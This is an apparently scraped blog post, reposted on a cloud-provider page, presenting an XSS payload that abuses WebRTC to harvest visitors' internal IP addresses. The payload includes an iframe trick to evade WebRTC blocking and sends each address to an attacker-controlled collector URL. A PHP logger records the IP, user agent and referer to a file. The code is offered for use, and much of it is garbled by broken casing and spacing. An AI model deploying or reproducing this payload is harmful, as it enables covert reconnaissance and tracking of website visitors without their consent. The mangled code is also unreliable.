xss-using WEBRTC to get the intranet IP

Source: Internet
Author: User

Xss.jsfunction getips (callback) {                 var ip_dups = {};                 //compatibility for firefox and chrome                 var  Rtcpeerconnection = window. rtcpeerconnection                     | |  window.mozRTCPeerConnection                     | |  window.webkitRTCPeerConnection;                 var usewebkit = !! window.webkitrtcpeerconnection;                //bypass naive webrtc blocking using  an iframe                 if (! Rtcpeerconnection) {                     //NOTE: you need to have an iframe in  the page right above the script tag                     //                     //<iframe id = "iframe"  sandbox= "Allow-same-origin"  style= "Display: none" ></iframe>                     // <script&gt, .....getips called in here...                     //                     var win =  iframe.contentwindow;                     rtcpeerconnection = win. rtcpeerconnection                         | |  win.mozRTCPeerConnection                         | |  win.webkitRTCPeerConnection;                     usewebkit = !! Win.webkitrtcpeerconnection;                 }                / /minimal requirements for data connection                 var mediaConstraints = {                     optional : [{rtpdatachannels: true}]                 };                 var servers = {iceServers: [{urls:  "Stun:stun.services.mozilla.com"}]};                 //construct  a new rtcpeerconnection                 var pc = new rtcpeerconnection (servers, mediaconstraints);                 function handlecandidate ( Candidate) {                     //match just the IP address                     var ip_regex =  /([0-9]{1,3} (\.[ 0-9]{1,3}) {3}| [A-f0-9] {1,4} (: [a-f0-9]{1,4}) {7}) /                     var ip_addr = ip_regex.exec (candidate) [1];                     //remove duplicates                     if (ip_dups[ip_addr] === undefined)                           callback (IP_ADDR);                     ip_dups[ip_addr] = true;                 }                 //listen for candidate events                 pc.onicecandidate  = function (ICE) {                     //skip non-candidate events                     if (ice.candidate)                           handlecandidate (ice.candidate.candidate);                 };                 //create a bogus data channel                 pc.createdatachannel ("");                 //create an offer sdp                 pc.createoffer (function (Result) {                     //trigger the stun server request                     pc.setlocaldescription (result,  function () {}, function () {});                 }, function () {});                 //wait for a while to let everything  Done                settimeout (function () {                     //read candidate info from local description                     var lines =  Pc.localDescription.sdp.split (' \ n ');                     lines.foreach (line) {                          if (Line.indexof (' a=candidate: ')  === 0)                               handlecandidate (line);                     });                 }, 1000);             }            //insert ip addresses into the  Pagegetips (function (IP) {    var url= "http://192.168.80.133:81/aaa.php?ip=" +ip;     var xmlhttp1=new xmlhttprequest ();      xmlhttp1.open ("GET ",  url, true);     xmlhttp1.setrequestheader (" Content-type ", " application/ X-www-form-urlencoded ");     xmlhttp1.send (null);   });


Server side:

<?php$ip=$_get[' IP ']; $time =date ("J F, Y, g:i a"); $agent = $_server[' http_user_agent ']; $referer =getenv (' Http_ REFERER '); $text = ' IP: ' =. $ip. " \ r \ n ". ' Time: '. $time. ' \ r \ n ". ' User Agent: '. $agent. ' \ r \ n ". ' Referer: '. $referer. ' \ r \ n "; $file = fopen (' vb.php ', ' A + '); fwrite ($file, $text); fclose ($file);? >


This article is from the "Sanr" blog, make sure to keep this source http://0x007.blog.51cto.com/6330498/1734490

xss-using WEBRTC to get the intranet IP

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.